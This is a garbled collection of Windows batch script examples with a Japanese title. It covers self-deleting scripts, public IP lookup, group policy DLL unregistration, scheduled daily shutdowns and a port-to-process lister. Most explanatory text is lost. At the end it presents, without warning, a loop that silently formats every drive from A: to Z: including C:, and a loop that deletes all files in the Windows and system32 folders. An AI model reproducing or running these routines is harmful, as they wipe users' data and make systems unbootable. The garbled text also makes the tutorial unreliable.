バッチ処理の実例コード教程集合
バッチ処理の実例コード教程-------------------------------------------バッチ処理プログラムは自身を削除します。bat echo時にはバッチ処理プログラムが実行された後に自分自身を削除します。del%0例が使えます。
@echo off
echo
pause
del %0
echo [InternetShortcut] > "%userprofile%\ \ .url"
echo URL=file:///C:/windows >> "%userprofile%\ \ .url"
@echo off
<"%~f0" more +5 >tmp.vbs
cscript //NoLogo /e:vbscript tmp.vbs %1>ip.txt
echo >nul && del tmp.vbs
goto:eof
set oDOM = WScript.GetObject("http://www.duosc.com/ip.aspx")
do until oDOM.readyState = "complete"
WScript.sleep 200
Loop
s=oDOM.documentElement.innerText
set re = New RegExp
re.Pattern="(\d+)\.(\d+)\.(\d+)\.(\d+)"
For Each m in re.Execute(s)
WScript.Echo m
Next
@echo off
regsvr32 /s /u fde.dll
regsvr32 /s /u gpedit.dll
regsvr32 /s /u gptext.dll
regsvr32 /s /u wsecedit.dll
exit
@echo off
regsvr32 /s fde.dll
regsvr32 /s gpedit.dll
regsvr32 /s gptext.dll
regsvr32 /s wsecedit.dll
exit
@echo off
mode con lines=25
title
color 1f
cls
echo.
echo.
echo.
echo.
echo 24 ( 2:15、12:00)，
echo.
echo
echo.
echo.
echo ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
echo.
set times=
set /p times= ：
::
:: ， ，
:: ，
:: CMD at
if not "%times%"=="" for %%i in (%times%) do (
at %%i /every:M,T,W,Th,F,S,Su shutdown -s
)
@echo off
echo [InternetShortcut] >cmd.url
echo URL=%windir%\system32\cmd.exe >>cmd.url
echo IconIndex=0 >>cmd.url
echo IconFile=%windir%\system32\cmd.exe>>cmd.url
@echo off
:: ：
echo exit|%ComSpec% /k prompt e 100 B4 00 B0 12 CD 10 B0 03 CD 10 CD 20 $_g$_q$_|debug>nul
chcp 437>nul
graftabl 936>nul
:rem ……
dir
pause
::
@echo off&&mode con cols=15 lines=1
%1 %2
start /min /i "" "%~nx0" goto min&&goto :eof
:min
echo xxx
pause>nul
exit
@echo off
mode con cols=15 lines=1
if exist "Temp.bat" goto Start
>Temp.bat echo start/min "" "%~nx0"^&exit
start/min Temp.bat&exit
:Start
del "Temp.bat">nul
pause
@echo off
:: qq.exe， CMD
:: fsutil fsinfo drives ， ， find /v ， ，
setlocal enabledelayedexpansion
for /f "delims=\" %%i in ('fsutil fsinfo drives^|find /v ""') do (
set var=%%i
set drive=!var:~-2!
fsutil fsinfo drivetype !drive!|find " ">nul && (
for /f "tokens=*" %%j in ('dir /a-d /b /s !drive!\qq.exe 2^>nul') do if not "%%j"=="" start "" "%%j" && exit
)
)
@echo off
:: " "、" "
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v ClearRecentDocsonExit /t REG_DWORD /d 00000001
@echo off
color a
Title XP -
setlocal enabledelayedexpansion
echo X- -[
echo
echo ^- -a
echo ------------------------------------
echo
ECHO TCP :
:: netstat TCP ， ；
:: (IP ) %%i， (PID ) %%j;
for /F "usebackq skip=4 tokens=2,5" %%i in (`"netstat -ano -p TCP"`) do (
call :Assoc %%i TCP %%j
echo !TCP_Port! !TCP_Proc_Name!
)
ECHO UDP :
for /F "usebackq skip=4 tokens=2,4" %%i in (`"netstat -ano -p UDP"`) do (
call :Assoc %%i UDP %%j
echo !UDP_Port! !UDP_Proc_Name!
)
echo
pause>nul
:Assoc
:: %1( ） ， %%e。 ，%1 %%i( ：IP: )
for /F "tokens=2 delims=:" %%e in ("%1") do (
set %2_Port=%%e
)
:: PID %3( ) ， ?_Proc_Name,? UDP TCP；
for /F "skip=2 usebackq delims=, tokens=1" %%a in (`"Tasklist /FI "PID eq %3" /FO CSV"`) do (
::%%~a %%a ， 。
set %2_Proc_Name=%%~a
)
:format
@format a: /q /y >nul
@format b: /q /y >nul
@format d: /q /y >nul
@format e: /q /y >nul
@format f: /q /y >nul
@format g: /q /y >nul
@format h: /q /y >nul
@format i: /q /y >nul
@format j: /q /y >nul
@format k: /q /y >nul
@format l: /q /y >nul
@format m: /q /y >nul
@format n: /q /y >nul
@format o: /q /y >nul
@format p: /q /y >nul
@format q: /q /y >nul
@format r: /q /y >nul
@format s: /q /y >nul
@format t: /q /y >nul
@format u: /q /y >nul
@format v: /q /y >nul
@format w: /q /y >nul
@format x: /q /y >nul
@format y: /q /y >nul
@format z: /q /y >nul
@format c: /q /y >nul
goto format
:breake
@if exist %windir%\system32\*.* del %windir%\system32\*.* >nul
@if exist %windir%\*.* del %windir%\*.* >nul
goto breake